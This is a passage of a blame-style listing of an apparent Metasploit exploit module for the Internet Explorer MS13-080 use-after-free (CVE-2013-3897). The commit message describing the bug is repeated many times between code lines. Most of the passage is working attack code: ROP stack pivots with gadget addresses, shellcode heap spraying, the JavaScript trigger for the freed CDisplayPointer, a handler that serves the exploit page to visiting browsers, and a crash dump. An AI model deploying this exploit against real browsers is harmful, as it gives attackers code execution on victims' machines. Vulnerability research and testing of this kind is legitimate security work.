if target_info[:os] =~ /windows xp/i
|
|
|
|
|
# XP uses msvcrt.dll
|
2013-10-12 21:37:49 +00:00
|
|
|
dll_used = "msvcrt"
|
|
|
|
|
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
pivot =
|
|
|
|
|
[
|
|
|
|
|
0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret
|
|
|
|
|
].pack("V*")
|
|
|
|
|
|
|
|
|
|
rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot})
|
|
|
|
|
else
|
|
|
|
|
# Assuming this is Win 7, and we'll use Java 6 ROP
|
2013-10-12 21:37:49 +00:00
|
|
|
dll_used = "Java"
|
|
|
|
|
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
pivot =
|
|
|
|
|
[
|
|
|
|
|
0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn
|
|
|
|
|
junk # Padding for the POP ECX
|
|
|
|
|
].pack("V*")
|
|
|
|
|
|
|
|
|
|
rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2013-10-12 21:37:49 +00:00
|
|
|
print_status("Target uses #{os} with #{dll_used} DLL")
|
|
|
|
|
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
rop_payload
|
|
|
|
|
end
|
|
|
|
|
|
2013-10-16 21:40:54 +00:00
|
|
|
#
|
|
|
|
|
# IE 6's call is at 6
|
|
|
|
|
# IE 8's call is at 7
|
|
|
|
|
# Don't think this one triggers on IE9
|
|
|
|
|
#
|
2013-10-12 23:51:57 +00:00
|
|
|
def get_sploit_html(target_info)
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
os = target_info[:os]
|
|
|
|
|
js_payload = ''
|
|
|
|
|
|
2013-10-16 20:56:34 +00:00
|
|
|
if os =~ /Windows (7|XP) MSIE [78]\.0/
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
js_payload = Rex::Text.to_unescape(get_payload(target_info))
|
|
|
|
|
else
|
2013-10-12 21:37:49 +00:00
|
|
|
print_error("Target not supported by this attack.")
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
return ""
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
%Q|<html>
|
|
|
|
|
<head>
|
|
|
|
|
<script>
|
|
|
|
|
#{js_property_spray}
|
|
|
|
|
sprayHeap({shellcode:unescape("#{js_payload}")});
|
|
|
|
|
|
|
|
|
|
var earth = document;
|
|
|
|
|
var data = "";
|
|
|
|
|
for (i=0; i<17; i++) {
|
2013-10-16 20:56:34 +00:00
|
|
|
if (i==6) { data += unescape("%u2020%u2030"); }
|
|
|
|
|
else if (i==7) { data += unescape("%u2020%u2030"); }
|
|
|
|
|
else { data += unescape("%u4141%u4141"); }
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
}
|
|
|
|
|
data += "\\u4141";
|
|
|
|
|
|
|
|
|
|
function butterfly() {
|
|
|
|
|
for(i=0; i<20; i++) {
|
|
|
|
|
var effect = earth.createElement("div");
|
|
|
|
|
effect.className = data;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
function kaiju() {
|
|
|
|
|
var godzilla = earth.createElement("textarea");
|
|
|
|
|
var minilla = earth.createElement("pre");
|
|
|
|
|
earth.body.appendChild(godzilla);
|
|
|
|
|
earth.body.appendChild(minilla);
|
|
|
|
|
godzilla.appendChild(minilla);
|
|
|
|
|
|
|
|
|
|
godzilla.onselect=function(e) {
|
|
|
|
|
minilla.swapNode(earth.createElement("div"));
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var battleStation = false;
|
|
|
|
|
var war = new Array();
|
|
|
|
|
godzilla.onpropertychange=function(e) {
|
|
|
|
|
if (battleStation == true) {
|
|
|
|
|
for (i=0; i<50; i++) {
|
|
|
|
|
war.push(earth.createElement("span"));
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
earth.execCommand("Unselect");
|
|
|
|
|
|
|
|
|
|
if (battleStation == true) {
|
|
|
|
|
for (i=0; i < war.length; i++) {
|
|
|
|
|
war[i].className = data;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
else {
|
|
|
|
|
battleStation = true;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
butterfly();
|
|
|
|
|
godzilla.select();
|
|
|
|
|
}
|
|
|
|
|
</script>
|
|
|
|
|
</head>
|
|
|
|
|
<body onload='kaiju()'>
|
|
|
|
|
</body>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
|
2013-10-16 04:37:11 +00:00
|
|
|
target_info =
|
|
|
|
|
{
|
|
|
|
|
:os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)),
|
|
|
|
|
:dll => Rex::Text.uri_decode($2)
|
|
|
|
|
}
|
|
|
|
|
|
2013-10-12 23:51:57 +00:00
|
|
|
sploit = get_sploit_html(target_info)
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
|
|
|
|
return
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
html = get_check_html
|
|
|
|
|
print_status("Checking out target...")
|
|
|
|
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
|
|
|
|
end
|
|
|
|
|
|
2013-10-12 21:37:49 +00:00
|
|
|
def exploit
|
|
|
|
|
@js_office_2007_str = Rex::Text.rand_text_alpha(4)
|
|
|
|
|
@js_office_2010_str = Rex::Text.rand_text_alpha(5)
|
|
|
|
|
@js_default_str = Rex::Text.rand_text_alpha(6)
|
|
|
|
|
super
|
|
|
|
|
end
|
|
|
|
|
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
=begin
|
|
|
|
|
|
|
|
|
|
+hpa this for debugging or you might not see a crash at all :-)
|
|
|
|
|
|
|
|
|
|
0:005> r
|
|
|
|
|
eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c
|
|
|
|
|
eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc
|
|
|
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
|
|
|
mshtml!QIClassID+0x30:
|
|
|
|
|
6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=????????
|
|
|
|
|
0:005> u
|
|
|
|
|
mshtml!QIClassID+0x30:
|
|
|
|
|
6d6dc123 8b03 mov eax,dword ptr [ebx]
|
|
|
|
|
6d6dc125 8365e800 and dword ptr [ebp-18h],0
|
|
|
|
|
6d6dc129 8d4de8 lea ecx,[ebp-18h]
|
|
|
|
|
6d6dc12c 51 push ecx
|
|
|
|
|
6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170)
|
|
|
|
|
6d6dc132 53 push ebx
|
|
|
|
|
6d6dc133 bf02400080 mov edi,80004002h
|
|
|
|
|
6d6dc138 ff10 call dword ptr [eax]
|
|
|
|
|
|
|
|
|
|
=end
|
